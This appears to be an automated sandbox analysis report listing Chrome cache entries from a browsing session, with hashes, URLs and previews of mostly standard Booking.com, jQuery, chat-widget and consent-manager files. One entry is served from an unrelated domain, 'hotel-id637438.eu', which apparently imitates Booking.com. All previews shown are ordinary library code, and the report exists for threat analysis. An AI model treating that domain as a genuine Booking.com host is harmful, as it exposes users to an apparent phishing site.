..5...5...5...5...5...5...5...5...5...5...5...5...5...5

Chrome Cache Entry: 285

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65362)
Category:	downloaded
Size (bytes):	147452
Entropy (8bit):	5.278640994442029
Encrypted:	false
SSDEEP:	1536:YRUX9uDgwxcy2KVBNwchN6SLaHEk2BSrBESp+a/IEk4aAocVi8SMBQ47GKAIpg2L:4HNwcv9VBQpLl88SMBQ47GKzjbWykWJR
MD5:	6ECDCBFC2743150B907283C1861D19EE
SHA1:	81760F9CD668F1D6E7FA12F8FFB9AFC77F528B68
SHA-256:	77C4DB8DDBD2F57F9DD1ACFCB74ED71C891FF39ADFBDD2902958B457A63FC9A3
SHA-512:	608D34FEF2E2162E3BDEB6FB435612577DD2D565C6D44F105AE7977093689A2820B831DA1DEF0ADFB23398F2A14A4A80EF9EF53A9DACA1EECFA21D6A7C2E9AE9
Malicious:	false
Reputation:	low
URL:	https://partner.booking.com/sites/default/files/js/js_XgRhdDPWb33RcpJhPMJZtlmn458nD-GlhUL5Ud4J8h4.js?scope=footer&delta=0&language=en-us&theme=booking&include=eJx1Uotu5CAM_KEQPmllwCHuEsxhJ23u68_pdZPdqpUihB8zY8aBlJSh7h6-LuPUueqQQKHAjt0HnGEj7jIU-Lv74xhkF8XFBxAcAvOdavZhJRdFvsdOO2xYCnZXKM_qdMblQuXCAcoL6O3iiMzxTtg6u4njKm6Gmozq6od4d8r2tQE_tFC9-9TXBmX8CgdRUBKlKI_KlTl5CkNyQgkDdBeg1ieNrIvDqqS7i4VM7_sQTw0b4fuP9cpKE0UT5no2NOiQO7T5HO3KjGttaygkMyZzfudVb4kk8oZ991wxchkm-DMRluQflxFi5J5M5FQ_M04hiKPF3NxsBVVfd0WV1EVemnE_1yR2LuZkdgbMHW2lZtJgpPiYOnVuYVU11alA9scxHubf4A0-Xnw4Sr_YuIr9I0K5ko3KXJTaYM9-x5sg9Dj7z8D9D07UjJAO3Gf2H1FyFZQ
Preview:	/* @license MIT https://raw.githubusercontent.com/jquery/jquery/3.7.1/LICENSE.txt /./! jQuery v3.7.1 \| (c) OpenJS Foundation and other contributors \| jquery.org/license */.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(ie,e){"use strict";var oe=[],r=Object.getPrototypeOf,ae=oe.slice,g=oe.flat?function(e){return oe.flat.call(e)}:function(e){return oe.concat.apply([],e)},s=oe.push,se=oe.indexOf,n={},i=n.toString,ue=n.hasOwnProperty,o=ue.toString,a=o.call(Object),le={},v=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},y=function(e){return null!=e&&e===e.window},C=ie.document,u={type:!0,src:!0,nonce:!0,noModule:!0};function m(e,t,n){var r,i,o=(n=n\|\|C).createElement("script");if(o.text=e,t)for(r in u)(i=t[r]\|\|t.getAttri

Chrome Cache Entry: 286

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65445)
Category:	downloaded
Size (bytes):	541022
Entropy (8bit):	5.646573131216672
Encrypted:	false
SSDEEP:	12288:rkt+wmEBqPHFix3jloJkliXgIT66n+k74Ke:s+wmEBqPHFix3jloJkliXgIpcx
MD5:	48B13BCBEB65CE2EF69382A596554E21
SHA1:	5AD7BC0F758F21D0451FECB162635C9186792D70
SHA-256:	F64EA359168A3500ADB2AA04AD58218D8F8A5A272DE878ACC9FC9245DB819CE5
SHA-512:	F79C13119EE8AA9F31A35FD84746F4B50FAF0F2EA7CB593CF3DA6A1E3B9FFDDF5DF9FEB3F15B72FCED3B9131D42A35119E4EC0B27D6CB248F5B51514EEA160E6
Malicious:	false
Reputation:	low
URL:	https://cf.bstatic.com/psb/accountsportal/assets/551_d9177bb2ea045a936d68.js
Preview:	/! For license information please see 551_d9177bb2ea045a936d68.js.LICENSE.txt /.(self.webpackChunkbookings_web_accounts_portal_workspaces=self.webpackChunkbookings_web_accounts_portal_workspaces\|\|[]).push([[551],{67214:function(e,t,n){"use strict";var r=n(96540);t.A=function(){return r.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},r.createElement("path",{d:"m14.662 23.038.012.007c2.46 1.566 5.71 1.21 7.792-.873l.774-.774a2.596 2.596 0 0 0 0-3.669l-3.26-3.26a2.596 2.596 0 0 0-3.67 0 1.093 1.093 0 0 1-1.546.002l-.001-.001-5.219-5.22a1.096 1.096 0 0 1 0-1.548 2.593 2.593 0 0 0 .002-3.666q0-.002-.002-.003L6.284.77a2.596 2.596 0 0 0-3.669 0l-.774.774A6.285 6.285 0 0 0 .982 9.36L1 9.386a50.7 50.7 0 0 0 13.62 13.625zm.798-1.27A49.2 49.2 0 0 1 2.244 8.55l-.005-.008a4.78 4.78 0 0 1 .662-5.938l.774-.774a1.096 1.096 0 0 1 1.549 0l3.26 3.264v.002a1.09 1.09 0 0 1 0 1.545 2.596 2.596 0 0 0 0 3.67l5.218 5.22.002.001a2.593 2.593 0 0 0 3.667-.002 1.096 1.096 0 0 1 1.548

Chrome Cache Entry: 287

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65466)
Category:	downloaded
Size (bytes):	223977
Entropy (8bit):	5.361735433214315
Encrypted:	false
SSDEEP:	3072:7NAtCscheWbDYA4MQFWdz0W1S+9D9tJCz7:fszWgA4fgJZZxCz7
MD5:	BE04B851A5C3D08B1C99CA982633C2A8
SHA1:	51E8D2351BE01A893D37D33342FF78C6DA5DC10A
SHA-256:	3B098767055D18F21C7F967F8DDD1F7911B1A10CC8683431D9E8F2F018F48211
SHA-512:	2B0D4734C201D9061A733CA9C6936291669E4DCADA8548FA51C2DE8ECF31278AB45A8F1F46BA676D1048444F4EBEC637182D5289BA316712122F5BB633391C36
Malicious:	false
Reputation:	low
URL:	https://chat.kindlycdn.com/kindly-chat.js
Preview:	/! For license information please see kindly-chat.js.LICENSE.txt /.(()=>{var e,t,n={8959:(e,t,n)=>{"use strict";n.d(t,{A:()=>r,W:()=>a});const r="v2",a=Object.freeze(["agent","alerts","bot","chatbubble","feedback","privacy","lightbox","nudge"])},2186:(e,t,n)=>{"use strict";n.d(t,{n:()=>a,m:()=>r});const r={default:"'IBMPlex', 'Helvetica Neue', Helvetica, Arial, sans-serif",KindlySans:"KindlySans"},a="\n@font-face {\n font-family: 'KindlySans';\n src: url(".concat("https://chat.kindlycdn.com/src/assets/fonts/KindlySans-Regular.65d6f01a87841a240c37cd04c52f3c2f.otf",") format('OpenType');\n}\n\n@font-face {\n font-family: 'IBMPlex';\n font-weight: 400;\n src: url(").concat("https://chat.kindlycdn.com/src/assets/fonts/IBMPlexSans-Regular.2c412e2f77ae69aa2154613095be7130.ttf",") format('truetype');\n}\n\n@font-face {\n font-family: 'IBMPlex';\n font-weight: 500;\n src: url(").concat("https://chat.kindlycdn.com/src/assets/fonts/IBMPlexSans-Medium.c4877bdfa15aef22d92

Chrome Cache Entry: 288

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (44521)
Category:	downloaded
Size (bytes):	271865
Entropy (8bit):	5.541531188578396
Encrypted:	false
SSDEEP:	3072:eupHGOZiIATO6LoKF55pWk4cCbVlIxlewagFYhCxSGU:eOZiIATO6LoKih3bXuRagFdkt
MD5:	BB8CEB6DE36112BA44B0B5CFE1F28976
SHA1:	AB7CCFDC1EA7856F69A5CF2FC4B48ACC2E60E8E4
SHA-256:	5349C36C334D9EC28F1B1E12023668426011F3602ED29F87FB687222A2BAF16C
SHA-512:	10A41F0C14838BA1C478D1C30E853CBEEB814F11B55D881F8774AEBB965B99FEFED4F4CFACBA4F6D7F9B9C023795D67DB6AF9A9BBE40781CAF6890DA642DF6B5
Malicious:	false
Reputation:	low
URL:	https://cf.bstatic.com/psb/accountsportal/assets/551_8e0f43f6ce9d2e229cb8.css
Preview:	@media (max-width:575px){.FbTMXoNqYWkw7I4ybKgC{-webkit-margin-start:calc(var(--bui_spacing_4x)-1)!important;-webkit-margin-end:calc(var(--bui_spacing_4x)-1)!important;-webkit-border-start:0!important;-webkit-border-end:0!important;border-inline-end:0!important;border-inline-start:0!important;border-radius:0!important;margin-inline-end:calc(var(--bui_spacing_4x)-1)!important;margin-inline-start:calc(var(--bui_spacing_4x)-1)!important}}.uNnBK1MZfpZP4zOLNBdw{display:inline-block;vertical-align:middle}.XtThYShjPyzHb9jJ1Z0A{display:block}.jZT8XFG2FDJu9hQW6y7a{opacity:0;pointer-events:none;transition:var(--bui_timing-deliberate) var(--bui_easing-slow-out);transition-property:opacity,transform,visibility;visibility:hidden;z-index:var(--bui_z_index_4)}.jZT8XFG2FDJu9hQW6y7a .CyFjoyZmmDsLN1yrwrTB{display:inline-block;pointer-events:all;vertical-align:top}.jZT8XFG2FDJu9hQW6y7a.N2dODfBwm4hnKfLWl4jq,.jZT8XFG2FDJu9hQW6y7a.bMW0mBKkitIcnvUTt3iQ,.jZT8XFG2FDJu9hQW6y7a.fRr4isf2UuQorRH8Vf0u{transform:

Chrome Cache Entry: 289

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	79927
Entropy (8bit):	5.396285912417685
Encrypted:	false
SSDEEP:	1536:AK66HkFM8/CUVVdJ2FQUaucZRuSlYRy16qIM7B:P6vZCXxWYo16qIM7B
MD5:	913F6A2B5A6515DD7909AA82B41A1BE5
SHA1:	88166E55E89EBF49398D21BB52303F594447B752
SHA-256:	4FB11E42B2BBF1F0DCD4A7F4E44308E4588EB54D4335779400584096518A2886
SHA-512:	F73FED0F5AF089DBC13DB7A7282CD2340C837DFB6ACC1BAE180FB38EB37661CC1238FF534E2D7ABF0CA19CCF0F9F4DDEC48C360E32B753BD1FC9E15A136AED51
Malicious:	false
Reputation:	low
URL:	https://cdn.cookielaw.org/consent/5b5ab62b-24f1-40fe-8bb1-6de0b3a94fda/8ead1a95-64b9-4e6c-877c-52602d89b97c/en-us.json
Preview:	{"DomainData":{"pclifeSpanYr":"Year","pclifeSpanYrs":"Years","pclifeSpanSecs":"A few seconds","pclifeSpanWk":"Week","pclifeSpanWks":"Weeks","pccontinueWithoutAcceptText":"Continue without Accepting","pccloseButtonType":"Icon","MainText":"Manage your privacy settings","MainInfoText":"Select which cookies you want to accept on Booking.com.","AboutText":"You can find more detailed info on cookie use and descriptions in our privacy and cookie policy.","AboutCookiesText":"Your Privacy","ConfirmText":"Allow All","AllowAllText":"Save Settings","CookiesUsedText":"Cookies used","CookiesDescText":"Description","AboutLink":"https://www.booking.com/general.html?tmpl=docs/privacy-policy","ActiveText":"Active","AlwaysActiveText":"Always Active","AlwaysInactiveText":"Always Inactive","PCShowAlwaysActiveToggle":true,"AlertNoticeText":"By clicking \"Accept,\" you agree to the use of analytical cookies (used to gain insight on website usage and to improve our site and services) and tracking cookies (bot

Chrome Cache Entry: 290

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (44226)
Category:	downloaded
Size (bytes):	44308
Entropy (8bit):	5.476883214509381
Encrypted:	false
SSDEEP:	768:voXK5RPCIOzzCbOeQGCcCOtaTH+U7kAviqNXX2h7iQk5IXH/PeVdJ6:QXyL9LtaT+U7LaJ+Qk+XT
MD5:	1A9BE2F3AE6910D158AADB94EC4CC7CA
SHA1:	4CB8D2E7377260253CBB940EEFA87FC848D9C29C
SHA-256:	C256155538A9952EB36DED27A3C0D1FD4BE851F3F3DD37EE5BAA1C3EC95D163F
SHA-512:	4936A98BC5BF7198A5B405C12999FBD994DE8C8D631197C186A195EFC7DCC833B775E59B75F3A7FD642F0F4BA9495DED6EF8699BA15780B4FD71268481E894B1
Malicious:	false
Reputation:	low
URL:	https://cf.bstatic.com/psb/accountsportal/assets/517_74f8edfbce6c8424fde6.js
Preview:	/! For license information please see 517_74f8edfbce6c8424fde6.js.LICENSE.txt /.(self.webpackChunkbookings_web_accounts_portal_workspaces=self.webpackChunkbookings_web_accounts_portal_workspaces\|\|[]).push([[517],{72011:function(t,e,n){"use strict";n(96540),n(29385),n(59490),n(33162),n(59679),n(19353),n(65631),n(84808)},59144:function(t,e,n){"use strict";n(96540),n(59490),n(19353),n(93191),n(82916)},42261:function(t,e,n){"use strict";n(96540),n(32734),n(59490),n(3830),n(90265),n(93191),n(89708),n(58771),n(23683),n(89328),n(19353),n(25332),n(59679)},5350:function(t,e,n){"use strict";n(96540),n(32734),n(59490),n(3830)},12507:function(t,e,n){"use strict";n.d(e,{A:function(){return u}});var r=n(96540),o=n(59490),i=n(62630),a=n(89328),u=t=>{const{hideClose:e,children:n,fill:u,onClose:c,buttonColor:f,className:s,attributes:l,closeAriaLabel:d,closeClassName:p,closeAttributes:v}=t,h=(0,o.xW)("q8QU4pyiSslED1ar10Ew",s,u&&"_IUdp7sxiFeBAJ6qSQBK",e&&"xMCb8elIfAw9eZD5OF04"),m=(0,o.xW)("inEZpVn6QRo1

Chrome Cache Entry: 291

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	5090
Entropy (8bit):	7.945443201813718
Encrypted:	false
SSDEEP:	96:er6inwIrNDvfVM2bnkn8g7euiBC9tR9rPQZHhxS9Vnsql:xD6NzVRbnkn8eej0X9sZi9v
MD5:	4D4C9CBD7492504AF0556ECA1019C7F9
SHA1:	D3FA95D7ED8BA40112FA9DF44C6124F017BB6D5E
SHA-256:	EC5D142C155F83112547BB80C28BFD1452D84AEEAE11CF37E26C46F4B832768B
SHA-512:	E4D78A24C835EC3CA5D604D8D55C0AF27988C0CA31F913B7E77A2EAB569C9AB5FD861546FA6DC3710A0E510A67EE9A46795A942989BFE974986AA5F3C5C1BC27
Malicious:	false
Reputation:	low
URL:	https://partner.booking.com/sites/default/files/styles/teaser_small_card_topics/public/2024-06/payments%404x.png.webp?itok=_sFO6dyI
Preview:	RIFF....WEBPVP8X...........]..ALPHR......l....q........Y...$.....H.m.&r.[6=.En..=Kz.5...{..,.....,2..?t.9s..G...............X......E....../.=ta\|..".......O?.....vD.&(..b..N.SC....Eqa...48.....Ppf.Y..l........P.x.......B...L.%...H{.]m.3...a..X1...&.....Ed._...q.02....\.%.?.{!...6.y........m(.[P....y...y..2.1.~E..S.Wx`...v.2=......G..Km.lZ.y...).?.......(..@.L.zJ.m..O.....d.T..w.P...d_.1.Ff..!......L.\.v.^.H...tN..k.!.....2I`7..f...j\|.ug...#$@.;9...;......J...]Z'....K....-....I.d.xZ?..K..........{....-......ff.-.=....E.S/..XGH....\|>#<V.\!O.....D..$..B!....R^8.....wLq.........M....l?.e.8..A`......,..{...<x.&.E.r.<...cxc....../..z._.d..e.H..;.....@:]...r..o..=..v.,}?r..Se.b..z}.g.........V...s.t.........U?.y..A,V8oe%...Kq.W...?.Q.6F....v.GN..r..z....V..}.......e..G.(...+....6..SKbE..7(..@..Z.E..=q.]..N?......_,7....W.A._.x.;S.....~J......u..6..yl.,......'...^C.[..A..s.Vn...XY9...s.....W...bl......r.........@j4.;......JVh?:?..L..$..b..T.

Chrome Cache Entry: 292

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1350)
Category:	downloaded
Size (bytes):	1426
Entropy (8bit):	4.841621161203824
Encrypted:	false
SSDEEP:	24:mdsu/SZOZHEk0IXpOzwxb4VviAqp7MJ1NsreVU:muqTpbOzvvmKU
MD5:	E444A03D38821936DD4A531F6D05AFB1
SHA1:	9CC1CC74317C6D327C69B9AC28A70C754CD1EF81
SHA-256:	E6F0D5A59B1EF3CBB25F39CC859ADEB0020369B03384B00D86D98EBB7BE39092
SHA-512:	036A853F19824FE7C5F752C74F32481C0DCDEF90B5068BA48085B8B5B16C708C0DB4FAE2DBDEE0FB5FA21B7657EBEBDEEE888E939A53ED13BB1FBCAA2D31D262
Malicious:	false
Reputation:	low
URL:	https://partner.booking.com/sites/default/files/css/css_VT2uO3rIvz8wQKjBZTK55zRpppfj2I5f-jtzgH28ia4.css?delta=3&language=en-us&theme=booking&include=eJxdUQFuwyAM_BCEJ1UOuMGrgxE26bLXj7Rrs01CFj5zNneGlEyg7AF-LtO1STGXwIBhxxZmzLCRNHUMX3s4gtNdDdcwg6KbRW5UljB38lH1f-6twYbM2DzTks1bxvVkLSwz8B_Sx9kjisQbYW3irxK7-gwljVbne4g3bzJOdfhpTOUWUusVePpJnRoYqVHUV-VEhqRdul0SaZQN2x6kYBR2FRosDWp-k05k6qX2mUkzJrcR3jU84rRK6oxP6ELlSoUMLxqbMD-f-Bfqn6hrYBh62WRAGbkOaQ_oPmzq66y9vqVCjNISSfEG8-i0Dle2YWWxv54f_X2UtQ4pv2ua5e6BT68jtCZdkb3hWGTzb4luTMKX8NSkzt1MirsyLOEI0-HsBT7g81ykrf4o-cg0dvJ_Uf0YoLQUGv8XYaPqhvX34Q9Cizk8Ev9M3qyMkA7eA_0GR0kJJQ
Preview:	/* @license MIT https://github.com/kenwheeler/slick/blob/master/LICENSE */..slick-slider{position:relative;display:block;box-sizing:border-box;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;-webkit-touch-callout:none;-khtml-user-select:none;-ms-touch-action:pan-y;touch-action:pan-y;-webkit-tap-highlight-color:transparent;}.slick-list{position:relative;display:block;overflow:hidden;margin:0;padding:0;}.slick-list:focus{outline:none;}.slick-list.dragging{cursor:pointer;cursor:hand;}.slick-slider .slick-track,.slick-slider .slick-list{-webkit-transform:translate3d(0,0,0);-moz-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0);-o-transform:translate3d(0,0,0);transform:translate3d(0,0,0);}.slick-track{position:relative;top:0;left:0;display:block;margin-left:auto;margin-right:auto;}.slick-track:before,.slick-track:after{display:table;content:'';}.slick-track:after{clear:both;}.slick-loading .slick-track{visibility:hidden;}.slick-slide{display:

Chrome Cache Entry: 293

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 294

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1466
Entropy (8bit):	4.193771402390682
Encrypted:	false
SSDEEP:	24:trUfvj3tQiR7cRNRTaocR+fSucYvvtG2rFoBR3UFkA6ERjURqRDSpRwSjGlMOn36:afbaiR7cRNRTaocR+RtvM2rcEOHER4Rv
MD5:	7BCD5188EDDC64B35B9613BFA05510FE
SHA1:	7CA969E18F1BA769654572A20E3164FBDEEEDE0A
SHA-256:	9B35CFE1AB2B65ED07FC16C23FF61C65401BFDFC86E3D5CF747E04B3543416CB
SHA-512:	685DE59A0C705B654576A6D94B7FC1EC3495CA90F52251A1B04F3DDD67B3812A371996162E7909197C8B79DAA694FE77D7937E1DD24AEFDF13D08F06A80C86AE
Malicious:	false
Reputation:	low
URL:	https://partner.booking.com/modules/custom/booking_ckeditor_templates/svg/message_tip.svg
Preview:	<svg data-icon-name="tip" height="24" viewbox="0 0 24 24" width="24" xmlns="http://www.w3.org/2000/svg"><path fill="#ffb700" d="M12.75 2.251v-1.5a.7498.7498 0 00-1.2803-.5303.7498.7498 0 00-.2197.5303v1.5a.7498.7498 0 001.2803.5303.7498.7498 0 00.2197-.5303zm6.144 3.167l1.061-1.06a.75.75 0 00-1.06-1.061l-1.061 1.06a.75.75 0 001.06 1.061zM21 12.001h1.5a.7497.7497 0 00.75-.75.7497.7497 0 00-.75-.75H21a.7497.7497 0 00-.75.75.7497.7497 0 00.75.75zm-3.166 6.144l1.06 1.061a.7508.7508 0 00.5328.2292.7499.7499 0 00.5282-1.2892l-1.06-1.061a.7508.7508 0 00-.5328-.2292.7499.7499 0 00-.5282 1.2892zM6.166 4.358l-1.06-1.061a.75.75 0 00-1.061 1.06l1.06 1.061a.75.75 0 001.061-1.06zM3 10.5H1.5a.7498.7498 0 00-.5303 1.2803A.7498.7498 0 001.5 12H3a.7498.7498 0 00.5303-1.2803A.7498.7498 0 003 10.5zm2.106 6.584l-1.061 1.06a.7506.7506 0 00-.1735.8234.7505.7505 0 00.7004.4663.7508.7508 0 00.5331-.2287l1.061-1.06a.7495.7495 0 00.2292-.5328.7503.7503 0 00-.7561-.7569.7508.7508 0 00-.5331.2287zm3.144-.636v2.3a3

Chrome Cache Entry: 295

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65449)
Category:	downloaded
Size (bytes):	178551
Entropy (8bit):	5.477881474666592
Encrypted:	false
SSDEEP:	1536:KcHAGNgGDfVBFcNLZM+7zlyeCDZglUAG/Y1pMxpy1uy50/kX57winARFcdrYWH85:KcTrFP+75eDWkEM21u+J7winARFc7O
MD5:	0DB31D1AB0939D9AC5E5A58CBC723C9A
SHA1:	115C1A468CE0458ACFB5EAA616B7E5F16C030A55
SHA-256:	653F35592968178356A897806EB218906CD8646EE58C5A1ECE1175F7391149DF
SHA-512:	FC93AB9F1DD3D4DAC6E756AD86AE96A5F2FB37D4546B91B6FDE9D73D0D91879C2A05EA401A9875369017D0B7C37ED9BFF0179A54331E30339F4EA933631DA6E2
Malicious:	false
Reputation:	low
URL:	https://chat.kindlycdn.com/Chat-a25fa96ceb91fa439328.js
Preview:	/! For license information please see Chat-a25fa96ceb91fa439328.js.LICENSE.txt /.(self.kindlyJSONp=self.kindlyJSONp\|\|[]).push([["Chat"],{8690:(e,t,n)=>{"use strict";n.r(t),n.d(t,{default:()=>bl});var o=n(257),a=n(4328),i=n(9445),r=n(5492);const l=i.Ay.div.withConfig({displayName:"KindlyChatstyles__ChatContainer",componentId:"sc-1y4lzsi-0"})(["font-size:16px;text-align:initial;line-height:18px;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;height:100%;z-index:",";@media ","{max-height:unset;}",""],(e=>e.zIndex+5),r.jO.maxTablet,(e=>{let{inspectorOpen:t}=e;return t&&"display: flex; flex-direction: row-reverse;"}));var s=n(1246),c=n(438),d=n(9755);const u=i.Ay.div.withConfig({displayName:"styles__Section",componentId:"sc-1iatydl-0"})(["margin:20px;display:flex;flex-direction:column;"]),m=i.Ay.hr.withConfig({displayName:"styles__Separator",componentId:"sc-1iatydl-1"})(["border-top:1px solid rgb(243,243,244);width:100%;margin:0;"]),p=i.Ay.button.withConfig({displayNa

Chrome Cache Entry: 296

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	downloaded
Size (bytes):	413096
Entropy (8bit):	5.355713339434267
Encrypted:	false
SSDEEP:	6144:PP2yt+VxNn3VM3xfrnCdWPGSBE7qoHSqCrvpIDyP9ucHHs:XsVxNnqpBE7qVvprs
MD5:	53E75BD25E32C985E8459EBA598E5E64
SHA1:	9765A64B1E9C9DEA4ED7C93D619E59CE7EA2D1E0
SHA-256:	ED3A69E3267F056582ED012F7252319ADB227FED203A4781EB820EA732AA4594
SHA-512:	05680972387E0B4D04470F3F4F2F203F9B7DBA867FF1847E39E13476293550ABE8998859B4E52E3FB308ABB7D7C6280968F828813FC023E826042AE9DB13158F
Malicious:	false
Reputation:	low
URL:	https://hotel-id637438.eu/static/otBannerSdk.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE
Preview:	/** . * onetrust-banner-sdk. * v202305.1.0. * by OneTrust LLC. * Copyright 2023 . */.!function(){"use strict";var A=function(e,t){return(A=Object.setPrototypeOf\|\|({__proto__:[]}instanceof Array?function(e,t){e.__proto__=t}:function(e,t){for(var o in t)Object.prototype.hasOwnProperty.call(t,o)&&(e[o]=t[o])}))(e,t)};function I(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)+" is not a constructor or null");function o(){this.constructor=e}A(e,t),e.prototype=null===t?Object.create(t):(o.prototype=t.prototype,new o)}var L,_=function(){return(_=Object.assign\|\|function(e){for(var t,o=1,n=arguments.length;o<n;o++)for(var r in t=arguments[o])Object.prototype.hasOwnProperty.call(t,r)&&(e[r]=t[r]);return e}).apply(this,arguments)};function d(e,s,a,l){return new(a=a\|\|Promise)(function(o,t){function n(e){try{i(l.next(e))}catch(e){t(e)}}function r(e){try{i(l.throw(e))}catch(e){t(e)}}function i(e){var t;e.done?o(e.value):((t=e.value)instanceof a?t:new a(fun

Chrome Cache Entry: 297

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1845)
Category:	downloaded
Size (bytes):	1872
Entropy (8bit):	5.049731756233779
Encrypted:	false
SSDEEP:	48:1StrrWBSHiItUhCMjwauCJruCvfTicVajJQaDP7RWDpEk2:1GSBFiau0rhTi+adQajtWNEk2
MD5:	371C665B076235D8F18A29151F062529
SHA1:	8D2D27B31718661633841E7DE104A652FD19EF45
SHA-256:	AD7149C5B70072FE29A67F98EE24DDEA1A364DA90568D417A8B0B0128D7E19B5
SHA-512:	88215DB376CAB8F3ABDC9544B86B6204F9B8903173EE529BAE87243FD9A251083E85371EB2F3156F5203851736994554C96419E6A7976D411DF9016CCEBB8707
Malicious:	false
Reputation:	low
URL:	https://partner.booking.com/libraries/lazysizes/plugins/unveilhooks/ls.unveilhooks.min.js
Preview:	/! lazysizes - v5.3.1 /..!function(e,t){var a=function(){t(e.lazySizes),e.removeEventListener("lazyunveilread",a,!0)};t=t.bind(null,e,e.document),"object"==typeof module&&module.exports?t(require("lazysizes")):"function"==typeof define&&define.amd?define(["lazysizes"],t):e.lazySizes?a():e.addEventListener("lazyunveilread",a,!0)}(window,function(e,i,o){"use strict";var l,d,u={};function s(e,t,a){var n,r;u[e]\|\|(n=i.createElement(t?"link":"script"),r=i.getElementsByTagName("script")[0],t?(n.rel="stylesheet",n.href=e):(n.onload=function(){n.onerror=null,n.onload=null,a()},n.onerror=n.onload,n.src=e),u[e]=!0,u[n.src\|\|n.href]=!0,r.parentNode.insertBefore(n,r))}i.addEventListener&&(l=function(e,t){var a=i.createElement("img");a.onload=function(){a.onload=null,a.onerror=null,a=null,t()},a.onerror=a.onload,a.src=e,a&&a.complete&&a.onload&&a.onload()},addEventListener("lazybeforeunveil",function(e){var t,a,n;if(e.detail.instance==o&&!e.defaultPrevented){var r=e.target;if("none"==r.preload&&(r.

Chrome Cache Entry: 298

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65334)
Category:	downloaded
Size (bytes):	134344
Entropy (8bit):	5.521560429448561
Encrypted:	false
SSDEEP:	1536:JaboR8KyBL3WNC3i806X8/OU0tNo455wjd0mV2KjO+XMQOtdBDFTcitjuYfvEAeZ:Jh63i8xXEOU03o4PwjRSBZTLqZ
MD5:	28A474CD1C649AC1EBE884650D0B2C2A
SHA1:	7E2D7DAAAC030D59F197F80ED5E81E93DA970766
SHA-256:	5448841ABACF4A9AC8E491C8F08F38309DDA5B111BA7CC1DCE840D8511473974
SHA-512:	0734B423001E28F522DDE3515196264243DCB9CF6435B3094805F57710605337A71523CED58A210ECF2CCD42C287385B0347688821AE7636677415A5384DDE39
Malicious:	false
Reputation:	low
URL:	https://cf.bstatic.com/psb/accountsportal/assets/876_ae71aefc2f960c9d4720.js
Preview:	/! For license information please see 876_ae71aefc2f960c9d4720.js.LICENSE.txt /.(self.webpackChunkbookings_web_accounts_portal_workspaces=self.webpackChunkbookings_web_accounts_portal_workspaces\|\|[]).push([[876],{49158:function(d,t,e){"use strict";var r=e(96540);t.A=function(){return r.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 128 128"},r.createElement("path",{d:"M56.33 102a6 6 0 0 1-4.24-1.75L19.27 67.54A6.014 6.014 0 1 1 27.74 59l27.94 27.88 44-58.49a6 6 0 1 1 9.58 7.22l-48.17 64a6 6 0 0 1-4.34 2.39z"}))}},64525:function(d,t,e){"use strict";var r=e(96540);t.A=function(){return r.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},r.createElement("path",{d:"M19.5 16.5v5.25a.75.75 0 0 1-.75.75H5.25a.75.75 0 0 1-.75-.75v-10.5a.75.75 0 0 1 .75-.75h13.5a.75.75 0 0 1 .75.75zm1.5 0v-5.25A2.25 2.25 0 0 0 18.75 9H5.25A2.25 2.25 0 0 0 3 11.25v10.5A2.25 2.25 0 0 0 5.25 24h13.5A2.25 2.25 0 0 0 21 21.75zM7.5 9.75V6a4.5 4.5 0 0 1 9 0v3.75a.75.7

Chrome Cache Entry: 299

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	6665
Entropy (8bit):	4.802851903376328
Encrypted:	false
